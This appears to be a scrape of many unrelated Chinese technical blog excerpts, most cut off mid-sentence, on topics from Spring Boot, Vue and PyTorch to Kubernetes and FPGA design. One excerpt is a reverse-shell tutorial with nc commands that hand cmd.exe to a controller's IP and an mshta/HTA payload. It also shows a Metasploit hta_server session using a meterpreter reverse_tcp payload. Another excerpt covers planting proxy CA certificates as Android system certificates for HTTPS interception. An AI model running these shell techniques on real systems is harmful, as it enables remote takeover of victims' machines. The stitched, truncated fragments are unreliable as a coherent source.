@Data @AllArgsConstructor @NoArgsConstructor public class User { @Excel(name = "id") private String id; @Excel(name = "姓名") private String name; @Excel(name = "密码") private String pwd; } 然后可以对文件进行读取,可以通过设置ImportParams来进行设置导入读取文件的一些参数
@PostMapping("/upload") @ResponseBody public String upload1(MultipartFile file,HttpServletResponse response) throws Exception { //设置导入参数,主要是对关键数据的一些定位,如果没有特殊的样式,使用默认参数就可以 ImportParams importParams = new ImportParams(); //读取的sheet的数量,读取的数量不能大于总数量,如果不设置,默认为1 importParams.setSheetNum(1); //从哪个sheet开始读取,开始读取的位置和读取数量不能超过总数量,默认为0,从第一个文件开始读取 importParams.setStartSheetIndex(0); List<User> objects = ExcelImportUtil.importExcel(file.getInputStream(), User.class, importParams); } 文件写出,保存到本地
@PostMapping("/upload1") @ResponseBody public String upload1(HttpServletResponse response) throws IOException { //准备要导出表中的数据 List<User> list = new ArrayList<>(); for (int i = 0; i < 100; i++) { list.
文章目录 前言一、Transition组件是什么?二、动画效果分析&说明: 三、代码1. 页面展示2. 动画切换逻辑3. 路由文件4. 样式5. 实现原理 四、One More Thing1、实现2、多种写法 总结扩展阅读 前言 本文分享一个Vue页面组件之间切换的动画效果,主要应用在移动端设备,使用户在切换页面或者切换组件的时候交互体验感更好一些,使用的是Vue3自带的Transition组件。
一、Transition组件是什么? 先简单介绍一下Transition组件,来自官方介绍:
<Transition> 是一个内置组件,这意味着它在任意别的组件中都可以被使用,无需注册。它可以将进入和离开动画应用到通过默认插槽传递给它的元素或组件上。进入或离开可以由以下的条件之一触发:
由 v-if 所触发的切换由 v-show 所触发的切换由特殊元素 <component> 切换的动态组件改变特殊的 key 属性 简单来说,左边Enter是当元素从无到有的时候触发,v-enter-to即页面上显示元素的最终状态;右边Leave则与之相反,页面上元素消失触发Leave,从v-leave-from状态变为v-leave-to状态。知道了这个,那么接下来将应用其component切换触发的特性,编写路由切换的动画效果。
二、动画效果 分析&说明: 其中 Home 与 About 都是组件,点击导航触发组件切换,很显然上面的切换是有两个动画效果的,当页面从 Home 组件 切换到 About 组件,Home 对应的是Leave步骤,About 对应的是Enter步骤,整体是从右往左发生了位移,所以from就是 translateX(0),to就是translateX(-100%),这么一说有没有豁然开朗了呢,那么从 About 组件切换到 Home 组件就反过来,从左往右位移,不过这个有些特殊,后面会提到,先看完整代码。
三、代码 1. 页面展示 <template> <div class="wrapper"> <!-- 导航条 --> <nav> <RouterLink to="/">Home</RouterLink> <RouterLink to="/about">About</RouterLink> </nav> <!-- 动画区,设置flex布局 --> <div class="animation"> <router-view v-slot="{ Component }"
进行深度学习第一步当然是配置开发环境了,目前使用Pytorch框架进行开发,就记录一下该框架的搭建方式。
我们可以在pytorch的官网找到安装命令
如果没有GPU,那直接选择CPU版本的安装命令即可。
但如果有GPU,那么这里就遇到了问题:CUDA版本的选择!
我们可以到Nvida的官网上查找我们需要安装的cudatoolkit版本。Release Notes :: CUDA Toolkit Documentation
这里,我们通过Nvidia控制面板>帮助>系统信息确定本机驱动程序版本为451.83
那对照Nvida的官网上的版本对照表,立刻就能发现本地驱动版本满足CUDA10.2.29的要求,而不满足CUDA11.2.0及更高版本Toolkit的要求。
因此,我们选择10.2版本的安装命令就好了。知道了正确的版本,安装就很简单了
conda install pytorch torchvision torchaudio cudatoolkit=10.2 -c pytorch 稍稍等一会,待安装完成即可。
安装完成后,我们可以使用以下命令验证GPU是否可用(如果返回True就代表对了):
import torch print(torch.cuda.is_available()) 使用一下命令检查pytorch和cuda的版本
import torch print(torch.__version__) print(torch.version.cuda)
redis相信大家不会陌生,可以说是日常开发中用的最广泛的缓存工具,而springboot作为与Java的集成框架,适用面非常广泛,其中就包含了对redis的集成,网上针对此类文章个人搜索后感觉大多写的不够详细,所以小编决定自己写一篇,一来供自己学习,二来供读者探讨
目录
相关配置文件
redis配置类
测试Case
测试结果
导入依赖
<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-data-redis</artifactId> </dependency> 说明:这里用的springboot版本较新,3.0.6
相关配置文件 # Redis本地服务器地址,注意要开启redis服务,即 redis-server.exe spring.data.redis.host=localhost # Redis服务器端口,默认为6379.若有改动按改动后的来 spring.data.redis.port=6379 # Redis服务器连接密码,默认为空,若有设置按设置的来 spring.redis.password= # redis客户端类型,springboot支持jedis和lettuce两种客户端,仅引入spring-boot-starter-data-redis依赖时,默认客户端类型为lettuce,可无需配置 spring.data.redis.client-type=lettuce # spring cache 缓存前缀配置,注意该前缀并不会在redisTemplate操作缓存时加入,而是redisCache操作缓存时生效的 spring.cache.redis.key-prefix=yqw_redis_ # 开启spring cache 默认前缀 spring.cache.redis.use-key-prefix=true redis配置类 @Configuration public class RedisConfig { @Bean public RedisTemplate<String, Object> redisTemplate(RedisConnectionFactory redisConnectionFactory) { RedisTemplate<String, Object> redisTemplate = new RedisTemplate<>(); redisTemplate.setConnectionFactory(redisConnectionFactory); redisTemplate.setKeySerializer(RedisSerializer.string()); redisTemplate.setValueSerializer(RedisSerializer.json()); redisTemplate.setDefaultSerializer(RedisSerializer.json()); return redisTemplate; } @Bean public RedisCacheManager redisCacheManager(RedisConnectionFactory redisConnectionFactory, CacheProperties cacheProperties) { RedisCacheConfiguration config = RedisCacheConfiguration.
什么是正向shell?
正向shell:控制端主动发起连接请求去连接被控制端,中间网络链路不存在阻碍。
反向shell:被控制端主动发起连接去请求连接控制,通常被控端由于防火墙受限制、权限不足、端口被占用等问题导致被控端不能正常接收发送过来的数据包。
简单点理解:攻击者找受害者,主动正向,反之就是反向连接
在实战中,大多数采用反向shell,因为正向shell有很多因素导致连接失败,比如说硬件设备有防火墙,入侵防御系统等,还有网站防火墙,端口占用,权限不足等场景,特别是硬件设备如果你正向连接被防火墙拦截导致打草惊蛇,后期攻击相当繁琐。反向shell:而被控制端主动向外发送的数据包通常都不会被拦截。
NC获取反弹shell NC正向shell
被控端
nc -lvvp 6666 -e cmd.exe 控制端
nc 被控端的地址 端口 原理:
被控端将cmd重定向到本地6666端口,控制端主动连接到6666端口,即获得shell
NC反向shell
被控端
nc 控制端IP 端口 -e cmd 控制端
nc -lvvp 端口 原理:
被控端将cmd.exe重定向到控制端的6666端口,控制端只需要监听本地的6666端口,即可获得shell。
建议端口尽量靠后,我发现这样更容易连接
Mshta.exe获取反弹shell Mshta.exe是用于负责解释运行HTA(HTML应用程序)文件的Windows OS实用程序。可以运行javascript或vbscript的html文件。
HTA 简单用法
可双击运行hta应用或命令窗口mshta.exe解析执行
<script> hta = new ActiveXObject("WScript.Shell"); hta.run("%windir%\\System32\\cmd.exe /c calc.exe", 0); window.close(); </script> 使用msf来操作
msf6 > search hta Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/scanner/http/apache_optionsbleed 2017-09-18 normal No Apache Optionsbleed Scanner 1 exploit/linux/http/bludit_upload_images_exec 2019-09-07 excellent Yes Bludit Directory Traversal Image File Upload Vulnerability 2 exploit/windows/misc/hta_server 2016-10-06 manual No HTA Web Server 3 auxiliary/dos/http/hashcollision_dos 2011-12-28 normal No Hashtable Collisions msf6 > use 2 [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp msf6 exploit(windows/misc/hta_server) > show options msf6 exploit(windows/misc/hta_server) > set srvhost 192.
在QSplitter中,geometry表示控件的位置和大小。 该属性的类型是QRect,包含了控件的左上角坐标和宽高信息。您可以使用geometry()函数来获取控件的当前位置和大小,并使用setGeometry()函数将其设置为新的位置和大小。
// 创建QSplitter控件 QSplitter *splitter = new QSplitter(Qt::Horizontal, this); // 添加子控件 QWidget *widget1 = new QWidget(splitter); QWidget *widget2 = new QWidget(splitter); splitter->addWidget(widget1); splitter->addWidget(widget2); // 获取splitter控件的当前位置和大小 QRect splitterGeometry = splitter->geometry(); qDebug() << "splitter current geometry: " << splitterGeometry; // 将splitter控件的位置和大小设置为新值 splitter->setGeometry(100, 100, 400, 200); 在QWidget类中,sizePolicy是一个QSizePolicy类型的属性,表示该部件的大小策略。 具体来说,sizePolicy属性包含了三个元素:horizontalPolicy、verticalPolicy和controlType。其中,horizontalPolicy和verticalPolicy是QSizePolicy中的两个枚举类型,分别表示部件在水平方向和垂直方向上的大小策略;controlType是一个枚举类型,表示控制部件大小的方式。
horizontal:
"hori-"这个前缀源于拉丁语 "horizōn",意为“水平线”,因为在人类的视野范围内,地球表面和天空的相交处形成了一条明显的水平线。因此,在英语和许多其他语言中,“hori-”通常用于表示水平方向或位置。
"zon" 不是一个独立的词根,但是它可以出现在一些词中,如zone(区域),azonic(无土壤的)。通常来说,这些词都来源于希腊语的词根 "zōnē",表示“带、带状区域”。
vertical:
"vertical"的词根来自于拉丁语 "vertex",意为“转折点、顶点”,在解析几何中指线段两个端点之间垂直于平面的直线。"Vertex" 的原始含义为“旋转、颠簸”, 借用到现代英语中,其衍生出了不同的涵义,如指高空中形成的中心风眼或山峰的尖顶等。在现代英语中,“vertical”通常用来形容垂直于地面或垂直于水平面的方向、位置、线条或形状。
"-tical"是一个常用的表示形容词的后缀,在许多英语单词中都有出现。它通常起到派生、变形或强化词语含义的作用。例如:“analytical”(分析的)、“critical”(批判的)、“theoretical”(理论的)等词都是由添加了“-tical”后缀而来。
可以使用以下代码获取和设置QWidget对象的sizePolicy属性:
QWidget *widget = new QWidget(parent); QSizePolicy sizePolicy(QSizePolicy::Expanding, QSizePolicy::Preferred); widget->setSizePolicy(sizePolicy); // 设置部件的大小策略 在上述代码中,我们首先创建了一个QWidget对象,并将其存储在指针变量widget中。然后,通过创建一个QSizePolicy对象,指定部件的水平方向的大小策略为Expanding,垂直方向的大小策略为Preferred,并将结果存储在QSizePolicy类型的变量sizePolicy中。最后,使用QWidget的setSizePolicy()函数,设置QWidget对象的大小策略为sizePolicy。
项目地址
前面我们介绍了怎么使用 docker 安装 rocketMQ,现在我们就来试试使用 SpringBoot 集成之后,怎么发送消息和消费消息。
集成步骤 工程结构 第一步:引入相关依赖 <dependency> <groupId>org.projectlombok</groupId> <artifactId>lombok</artifactId> <scope>provided</scope> </dependency> <!-- rocketMQ 核心依赖包 --> <dependency> <groupId>org.apache.rocketmq</groupId> <artifactId>rocketmq-spring-boot-starter</artifactId> <version>2.2.0</version> </dependency> <dependency> <groupId>com.alibaba.fastjson2</groupId> <artifactId>fastjson2</artifactId> <version>2.0.23</version> </dependency> 第二步:增加配置文件 rocketmq: name-server: 192.168.152.130:9876 # 这里需要换成自己的 rocketMq 的地址 producer: group: SpringBoot_Group send-message-timeout: 3000 retry-times-when-send-failed: 3 retry-times-when-send-async-failed: 3 consumer: group: SpringBoot_Group 第三步:增加消息的发送者 发送消息其实也比较好理解,就是通过 RocketMQTemplate 来操作,由于 Spring 中封装了一层,所以我们操作起来就比较简单,具体的代码向下看就好。
import org.apache.rocketmq.client.producer.SendCallback; import org.apache.rocketmq.client.producer.SendResult; import org.apache.rocketmq.spring.core.RocketMQTemplate; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; @Component public class SimpleProducer { @Autowired RocketMQTemplate rocketMQTemplate; /** * 发送同步消息 * * @param topic 主题 * @param msg 消息体 */ public void sendSyncMsg(String topic, String msg) { rocketMQTemplate.
1、主要解决流程:问题-风险-变更:
先分析是问题还是风险,解决问题、可以减少新的风险,登记风险,可以随时应对问题,
2、变更管理流程
变更原则: 需提正式变更申请,先分析评估后变更,不改变基准项目经理审批,改变基准CCB审批。
3、问题解决流程:
发现-记录-分析-变更-解决-总结经验教训
4、知识领域
[项目、项目集、项目组合]
项目: 单一一个项目
项目集: 项目集内项目依赖关系,项目平等
项目组合: 有优先级区分
5、生命周期
项目生命周期:科研、设计、施工、移交
项目管理生命周期: 启动、规划、执行、监控、收尾
产品生命周期:研发、导入、成长、成熟、衰退
6、几种类型的不同
预测型:范围、时间、成本早期都明确
迭代:不断优化,范围早期明确,时间、成本逐步明确,适用复杂项目
增量:增加功能,时间早期明确,范围、成本逐步明确,适用大型项目
敏捷:迭代+增量,范围、时间、成本早期都不明确
7、项目成功测量指标
净现值NPV: 收入-支出,大于0越高越好
内部收益率IRR:净现值等于0时的折现率,与市场利率比较,越高越好,计算复杂,代表盈利能力大小和抵御风险能力。
效益成本比BCR:效益/成本,大于1越大越好
投资回报率ROl: 年度产生利润/投资额,大于0,越大越好
回收期:越短越好
8、组织结构
兼职 :职能型 弱矩阵 中矩阵
全职 ;强矩阵 项目型
集中式:即职能型
虚拟:不同工作地点,一般不跨部门
9、事业过程因素,
事业环境因素:项目外部,包括组织内部、组织外部,xx系统、组织文化、员工、社会、商务、政府
组织过程资产:组织内部,xx程序、政策、过程、知识库,经验教训、进度计划、挣值
10、判断使用什么开发方式
11、团队组建经过的几个阶段
形成-震荡-规范-成熟-解散
12、问题解决步骤
定义问题-识别根本问题-生成可能的解决方案-选择最佳解决方案-执行解决方案-验证解决方案的有效性
文章目录 烟雾和火灾检测从零开始使用YOLOv5+PyQt5+OpenCV实现1. 数据集的制作1.1 数据集采集1.2 使用labelme对图片进行标注 2. YOLOv52.1YOLO算法简单介绍2.2 YOLOv5获取与调试2.2.1 下载yolov5代码2.2.2 安装yolov5训练所需的第三方库:2.2.3 下载预训练的权重文件2.2.4 配置自己的yaml文件2.2.5 开始训练2.2.5 编写detection方法用于后续检测的调用 3. Pyqt53.1介绍3.2 window平台安装 4. OpenCV安装 5. 界面布局6. 图片、视频、摄像头实时三个模块整合完整代码7 使用7.1. 注意在使用时需要先选择权重7.2.图片、视频、摄像头实时检测 烟雾和火灾检测从零开始使用YOLOv5+PyQt5+OpenCV实现 全流程教程,从数据采集到模型使用到最终展示。若有任何疑问和建议欢迎评论区讨论。
先放上最终实现效果
图片检测效果
视频检测效果
针对住宅、加油站、公路、森林等火灾高发场景,可以自动检测监控区域内的烟雾和火灾,帮助相关人员及时应对,最大程度降低人员伤亡及财物损失,模型效果如图所示。
1. 数据集的制作 已有一份数据且形成了对应的数据集。下载链接为数据集。数据集中包含了5000张已经标注好的数据。该项目采用目标检测的标注方式,提供了VOC数据集格式。
示例图片
数据集图片格式是VOC数据格式,VOC数据是每个图像文件对应一个同名的xml文件,xml文件内包含对应图片的基本信息,比如文件名、来源、图像尺寸以及图像中包含的物体区域信息和类别信息等。
xml文件中包含以下字段:
filename,表示图像名称。
size,表示图像尺寸。包括:图像宽度、图像高度、图像深度。
<size> <width>500</width> <height>375</height> <depth>3</depth> </size> 最终数据集文件组织结构为:
├── dataset ├── annotations │ ├── fire_000001.xml │ ├── fire_000002.xml │ ├── fire_000003.xml │ | ... ├── images │ ├── fire_000001.jpg │ ├── fire_000003.jpg │ ├── fire_000003.
本文介绍如何用FPGA实现基于插值算法的OOK信号定时同步,Verilog代码参考杜勇《数字调制解调技术的MATLAB与FPGA实现》。我们的目标是用外部提供50MHz时钟的zynq7100芯片实现400MHz采样频率和100Mbps的OOK数字基带信号的定时同步。
采用传统的锁相环技术实现定时同步时,本地时钟需要有较高的频率。当数据采样频率很高,并且本地时钟受到器件性能限制而不能远高于采样频率时,锁相环技术性能不佳。插值算法可以不改变采样时钟的频率和相位来实现位同步信号的调整,同时,插值算法可以根据采样值以及数控振荡器输出的采样时刻信号和误差信号获取最佳采样值。
插值位同步算法的框图如下图所示(图片源于文献[1])。主要模块为括插值滤波器(INTERPOLATOR)、定时误差检测器(TIMING ERROR DETECTOR)、环路滤波器(LOOP FILTER)和数控振荡器(CONTROLLER)。下面我们一一介绍并给出Verilog代码。
插值滤波器 插值滤波器的功能是速率转换,上图显示了内插滤波器的原理。设采样周期为 T s T_s Ts,符号周期为 T T T,插值周期为 T i T_i Ti,插值滤波器的脉冲响应为 h I ( t ) h_I(t) hI(t)。由上图可知,插值滤波器输出的连续时间信号为 y ( t ) = ∑ m x ( m ) h I ( t − m T s ) y(t)=\sum_{m}x(m)h_I(t-mT_s) y(t)=m∑x(m)hI(t−mTs) 按插值周期对 y ( t ) y(t) y(t)进行采样得 y ( k T i ) = ∑ m x ( m ) h I ( k T i − m T s ) (1) y(kT_i)=\sum_{m}x(m)h_I(kT_i-mT_s) \tag{1} y(kTi)=m∑x(m)hI(kTi−mTs)(1) 上式中, m m m是采样信号的索引,下面定义一个滤波器的索引 i = i n t [ k T i T s ] − m i=int[\frac{kT_i}{T_s}]-m i=int[TskTi]−m 基准点索引 m k = i n t [ k T i T s ] m_k=int[\frac{kT_i}{T_s}] mk=int[TskTi] 分数间隔 μ k = k T i T s − m k \mu_k=\frac{kT_i}{T_s}-m_k μk=TskTi−mk 公式 ( 1 ) (1) (1)可以重写为 y ( k T i ) = y [ ( m k + μ k ) T s ] = ∑ i x [ ( m k − i ) T s ] h I [ ( i + μ k ) T s ] y(kT_i)=y[(m_k+\mu_k)T_s]=\sum_{i}x[(m_k-i)T_s]h_I[(i+\mu_k)T_s] y(kTi)=y[(mk+μk)Ts]=i∑x[(mk−i)Ts]hI[(i+μk)Ts] 其中 k T i kT_i kTi表示第 k k k个插值点, m k T s m_kT_s mkTs表示第 k k k个插值点前相邻的采样点, μ k T s \mu_kT_s μkTs是插值点 k T i kT_i kTi与采样点 m k T s m_kT_s mkTs之间的时间间隔。下图展示了采样点与插值点之间的关系。 根据文献[2],我们采用Farrow结构的插值滤波器,如下图所示。 插值滤波器有三条纵向支路和一条横向支路,它们的计算公式为 f 1 = 0.
HTML 标签 '<a href="/utils/fileStream/exportKeHuFaPiaoZhangDan?fileId=666">' JAVA Controller /** * 导出其他服务的文件 */ @RequestMapping(value = "/export") @ResponseBody public void export(HttpServletRequest request, HttpServletResponse response, String fileId) { try { InputStream is = getInputStream(kehuApiConfig.getUrl() , fileId); // 获取其他服务器文件流 /* 流文件转字节 */ ByteArrayOutputStream swapStream = new ByteArrayOutputStream(); byte[] buff = new byte[100]; //buff用于存放循环读取的临时数据 int rc = 0; while ((rc = is.read(buff, 0, 100)) > 0) { swapStream.write(buff, 0, rc); } byte[] in_b = swapStream.toByteArray(); is.close(); // 关闭输入流 swapStream.
1. 问题现象 本来typora用的好好的,某一天对电脑做了一些设置(忘记做啥了),突然typora打不开了,具体现象为打开typora后显示一片空白,如下图所示,然后1-2秒后程序就闪退了,没有弹出任何报错提示。
2. 解决思路 第一步:首先在网上搜索解决方案,大部分文章的方法是修改注册表,修改权限,按照该方法去设置,并未解决问题,typora还是打不开。同时提醒一下,如果删除Administrtors用户权限,可能会导致激活许可证失败,提示“failed to write your license to local machine”。
第二步:由于没有弹出报错信息,先去typora的安装目录下查找有没有日志记录,并未找到。通过命令行执行工具(Windows+R或PowerShell等),运行typora,查看报错信息,如下图所示。
很明显是GPU的报错信息,进程不可用。恰巧在typora安装目录下找日志的时候发现一份疑似typora的配置文件“conf.default”,内容如下图所示,在最后几行正好发现了“append Chrome launch flags”的字段,也给出了示例“disable-gpu”,既然是关于GPU的报错,于是按照示例添加配置[“disable-gpu”]。结果还是打不开typora,有点发狂。有兴趣的可以去网上搜索谷歌浏览器的启动参数介绍,有一千多个,关于GPU的大概有几十个。我目前是没这个兴趣。
第三步: 于是,还是再看看网上有什么方案吧,现在收集了这么多信息,检索的关键字更加精确,终于让我找到一篇情况非常类似的,https://github.com/microsoft/vscode/issues/146464,帮大家提取点有用的信息,启动项"launch flags"添加“disable-sandbox”或者更安全的选择“disable-gpu-sandbox”,可以解决问题。
3. 解决方案 如果您觉得上面的过程太啰嗦,请直接看解决方案。如果该方案无法解决您的问题,请查看解决过程,希望能给您提供一些有用的帮助。
右键点击“typora快捷方式”——>“属性”——>“目标”,添加“–disable-sandbox”或者“–disable-gpu-sandbox”,记得加空格哦,配置如下图所示。这样typora就可以打开了~
但是!如果直接打开某一个md文档,诱发typora的启动,该情况下是未携带“disable-sandbox”或“disable-gpu-sandbox”参数的,还是打不开。typora的配置文件的实际存放路径一般是“C:\Users\PC\AppData\Roaming\Typora\conf”,修改“conf.user”文件,在“flags”字段下添加“disable-sandbox”或““disable-gpu-sandbox”,以后启动typora时均会携带相关参数,这样就可以一劳永逸了!具体配置如下图所示。
如果在“C:\Users\PC\AppData\Roaming\Typora\conf”路径下未找到typora的配置文件,可以先通过快捷方式打开typora界面,依次点击“文件”——>“偏好设置”——>“打开高级设置”,就可以打开typora的配置文件所在文件夹了。
环境信息: #另一个环境 master1 、master2 、node1 、 node2 k8s 1.22 、 docker 、calico、 node2上有kuboard 问题描述: dig通过coredns的svc IP,解析pod的fqdn出现connection timed out; no servers could be reached
最终处理方法: 删掉node2上的kuboard创建的网络。
正常的状态: node2也有去往calico的路由信息了
造成“故障”的操作为: 至于为啥会故障/冲突,似懂非懂。 (在创建了docker网络的情况下。容器不会走docker0的?!) ,node2有两个bridge
排查方法(***): 总结下排查方法/思路
根据报错的提示,开始认为是coreDNS出了问题,最终是node2节点上calico插件出了问题。下面通过种种现象来复盘
0、看日志 cat /var/log/messages 和systemctl status kubelet 查看 /var/log/messages 和systemctl status kubelet -l kubectl logs kubectl describe 但本次报错信息有丶抽象。 注意:coreDNS需要修改configmap,打开log模块,加上log{} ,才会显示出具体日志。
1、对比法rount -n 对比不同节点的rount -n 内容,对比找不同。
2、 从内到外法 在node2使用ping和dig。 发现coreDNS服务是OK,所以兜兜转转后,还是calico的问题。
3 、ping coreDNS的POD IP 和使用dig coreDNS的POD IP svc到负载的每个pod ip
From:https://testerhome.com/topics/21956
OpenSSL :https://slproweb.com/products/Win32OpenSSL.html
1、安装为系统证书好处 (1)安装用户证书必须要设置开机密码,而且设置后就不能取消,除非先删掉所有的用户证书。如果安装为系统证书就不需要设置开机密码,自动化操作时更方便。(2)谷歌在 安卓7.0 修改了安全策略,安卓系统 大于 7.0 时 APP默认不信任用户证书,只信任系统证书,安装为用户证书,对APP的HTTPS抓包会失败。安装为全局证书才能被所有APP信任,方可进行HTTPS抓包。 解决方法
降级 APP降级 系统版本将用户证书偷渡成系统证书,需要有 root 权限。将 charles 的 CA 证书安装进系统信任的证书目录下,这样在开启 charles 代理的时候,系统就会认为CA证书安全,从而可以获取 https 数据。 2、将证书安装为安卓系统证书 怎么将 Fiddler 或 Mitmproxy 的证书安装为安卓系统证书呢?
Android 的系统证书的存储位置是 /system/etc/security/cacerts,证书文件必须是PEM格式,而且文件命名必须符合系统证书规范。
第1步:下载Fiddler或Mitmproxy的证书文件,PEM或者DER格式均可。 第2步:获取有效的系统证书文件名 # 如果是PEM格式的: openssl x509 -inform PEM -subject_hash_old -in mitmproxy-ca-cert.pem -noout # 如果是DER格式的: openssl x509 -inform der -subject_hash_old -in FiddlerRoot.cer -noout # 例如,输出8bbe0e8d 第3步:转换证书格式为PEM格式,并重命名证书为有效的系统证书名。 # 如果是PEM格式的: openssl x509 -inform PEM -in mitmproxy-ca-cert.pem -out 8bbe0e8d.0 # 如果是DER格式的: openssl x509 -inform der -in FiddlerRoot.
目录
Lamp和docker概述
一、安装docker
二、下载镜像文件
三、创建容器
四、搭建网站(修改主页)
Lamp和docker概述 LAMP架构是目前成熟的企业网站应用模式之一,指的是协同工作的一整台系统和相关软件,能够提供动态web站点服务及其应用开发环境
Docker作为一个软件集装箱化平台,可以让开发者构建应用程序时,将它与其依赖环境一起打包到一个容器中,然后很容易地发布和应用到任意平台中。
一、安装docker 没有docker服务的先安装docker
yum install docker 安装好后查看版本
docker -v 然后启动docker
systemctl start docker.service 查看docker的运行状态
systemctl status docker.service 二、下载镜像文件 在下载镜像文件前,有关下载速度问题,可以换一个国内的镜像源下载
vi /etc/docker/daemon.json 拉取镜像tutum/lamp
docker pull docker.io/tutum/lamp 执行下面命令可以查看我们拉取的镜像
docker images 三、创建容器 创建容器,把镜像装起来
docker run -d --name=lamp -p 8080:80 -p 3306:3306 docker.io/tutum/lamp 注释:
run 创建容器的命令-d后台运行容器,并返回容器ID--name=lamp指定容器名字为lamp-p 8080:80把主机端口8080映射到容器80端口(WEB网站端口)-p 3306:3306把主机端口3306映射到容器3306端口(数据库端口)docker.io/tutum/lamp镜像文件名 通过命令查看刚刚创建的容器
docker ps -a 然后可以进入到容器中
docker exec -it lamp /bin/bash exit即可退出容器
然后主机浏览器测试一下网站是否配置成功
到了这一步,Lamp环境就搭建好啦。
四、搭建网站(修改主页) 想搭建个自己的网站,得找lamp环境下的apache根目录在/var/www/html下
想要修改index.php文件命令如下:
view index.
21 | 极端业务场景下,我们应该如何做好稳定性保障? 从今天开始,和你分享我对微服务和分布式架构下的稳定性保障的理解。
稳定性保障需要一定的架构设计能力,又是微服务架构比较核心的部分。在陈皓老师的“左耳听风”专栏,以及杨波老师的“微服务架构核心20讲”专栏都有非常详细的介绍。所以在我的专栏里,我会结合特定的场景,并着重从运维和技术运营的角度来分享。
我们所面对的极端业务场景 首先,看一下我们当前所面对的极端业务场景,我把它大致分为两类。
可预测性场景 什么是可预测性?简单来说,就像电商每年的大促,如618、双11、双12等等。这类业务场景是可预测的,业务峰值和系统压力峰值会出现在某几个固定的时间点,我们所做的所有准备工作和稳定性应对措施,都是针对这些固定时间点的,比如零点时刻。
峰值压力可预测,就意味着可以提前评估用户访问模型,并根据模型进行压测调优。发现系统中的瓶颈就调优或者扩容,调整完成之后,继续压测,继续调整,直至系统容量达到原来设定的目标。由此可见,在可预测的场景下,与后面的不可预测场景相对比,从准备过程上来说会更加从容。
但是,我们的优化或扩容是有限度的,也就是不会无限度地投入成本,来满足零点这个峰值时刻,让所有用户都能够正常访问。从成本和收益角度来说,这样做是不现实的。
所以,在峰值那个时间点上,当用户流量远远大于系统容量时,我们所采取的措施绝不是再去扩容或优化,因为无论是从时效性、系统稳定性还是成本收益上看,这样做都已经无法满足要求了。
那我们该采取什么策略呢?这里我们采取的策略是在系统承诺容量内,保证系统的核心功能能够正常运行。以电商为例,就是要确保整个交易链路是正常的,用户可以正常登陆,访问商品,下单并最终支付。对于非核心功能,就会通过预案执行功能降级。对于超出系统承诺容量的部分进行流量限流,并确保在某些异常状况下能够熔断或旁路,比如缓存故障,就要马上限流并将请求降级到数据库上。
所以,我们在618,双11和双12的零点峰值时刻去访问各大电商网站,很大概率上都会提示系统正忙,请稍后再试,短则23分钟,长则510分钟,再去访问,网站功能就一切正常了。这并不代表各大电商网站宕机了,而是其在瞬时超大流量访问压力下采取的一种保护措施,这一点反而说明这些电商网站的大促预案非常完善。
不可预测性场景 我刚刚提到的电商大促场景,其实已经非常复杂了,没有一定的整体技术能力,想做好从容应对也并非易事。我们这两年做大促模拟压测,动辄上百号人通宵投入,说到底还是在这方面的经验以及各类工具平台的积累不够,体系的完善需要一定的周期和过程。
那不可预测的场景就更为复杂。社交类业务就具有这种明显的特征,比如微博、朋友圈、空间等等。以微博为例,我们知道之前鹿晗公布恋情,王宝强以及乔任梁等的突发事件等等,这些事情什么时候发生,对于平台来说事先可能完全不知道,而且极有可能是大V的即兴发挥。当然,现在因为商业合作上的原因,某些大V的部分营销活动也会与各类社交业务平台提前沟通,确保活动正常执行,但是即使是提前沟通,周期也会非常短。
对于不可预测性的场景,因为不知道什么时候会出现突发热点事件,所以就无法像电商大促一样提前做好准备。社交类业务没法提前准备,就只能随时准备着,我认为这个挑战还是非常大的。
我们要迎接的技术挑战 说完了场景,我们来看看这给技术带来了哪些挑战。
运维自动化 这个不难理解,应对极端场景下的系统压力,一定要有资源支持,但是如何才能将这些资源快速扩容上去,以提供业务服务,这一点是需要深入思考的。结合前面我们讲过的内容, 标准化覆盖面是否足够广泛,应用体系是否完善,持续交付流水线是否高效,云上资源获得是否足够迅速,这些都是运维自动化的基础。特别是对于不可预测的场景,考验的就是自动化的程度。
容量评估和压测 我们要时刻对系统容量水位做到心中有数,特别是核心链路,比如电商的交易支付链路。我们只有对系统容量十分清楚,才能针对特定场景判断出哪些应用和部件需要扩容,扩容多少,扩容顺序如何。同时,系统容量的获取,需要有比较完善的自动化压测系统,针对单接口、单应用、单链路以及全链路进行日常和极端场景下的模拟压测。
限流降级 我们前面提到了电商大促的例子,业务在峰值时刻,系统是无论如何也抵御不住全部流量的。这个时候,我们要做的就是保证在承诺容量范围内,系统可用;对于超出容量的请求进行限流,请用户耐心等待一下。如何判断是否需要限流呢?这时我们要看系统的各项指标,常见的指标有CPU、Load、QPS、连接数等等。
同时,对于非核心的功能,在峰值时刻进行降级,以降低系统压力。这里有两种方式,分别是 主动降级 和 被动降级。主动降级就是在峰值时刻,主动把功能关掉,如商品评论和推荐功能等等;我们前面介绍到的静态化,也是一种降级策略。对于被动降级,也就是我们常听到的 熔断。某个应用或部件故障,我们要有手段将故障隔离,同时又能够保证业务可用,所以会涉及故障判断和各类流量调度策略。
开关预案 上面介绍到的限流降级,也是一类开关,属于 业务功能开关;还有一类是 系统功能开关,比如当缓存故障时,我们就需要将请求转发到数据库上,目的也只有一个,让系统可用。但是问题来了,数据库的访问效率没有缓存高,所以缓存可以支撑的流量,数据库肯定是支撑不了的,怎么办呢?这时,就要与限流策略结合起来,先限流,限到数据库能够支撑的容量,再做降级。这样几个策略组合在一起,就是应急预案的执行了。当然,预案里面还会有业务预案。
故障模拟 上述预案,需要在日常,甚至是从经历过的故障中提炼出场景,制定好策略,然后不断进行模拟演练。只有这样,等到真正出现问题时,我们的预案才可以高效执行。我们知道Netflix的Chaos Engineering,其中的Chaos Monkey,就是专门搞线上破坏,模拟各种故障场景,以此来看各种预案执行是否到位,是否还有可以改进的地方。
所以,类似Chaos Engineering的 故障模拟系统,也需要建设起来。我们需要模拟出一些场景,比如最常见的CPU异常,RT响应异常,QPS异常等等,看我们的预案是否能够快速执行,能够保持系统或将系统快速恢复到正常状态。
监控体系 最后,我再提一下监控。通过我们前面介绍的内容,监控的重要性就不言而喻了,因为所有的指标采集和统计,异常判断,都需要监控体系的支持。监控体系和前面介绍的运维自动化一样,都是最为基础的支撑平台。
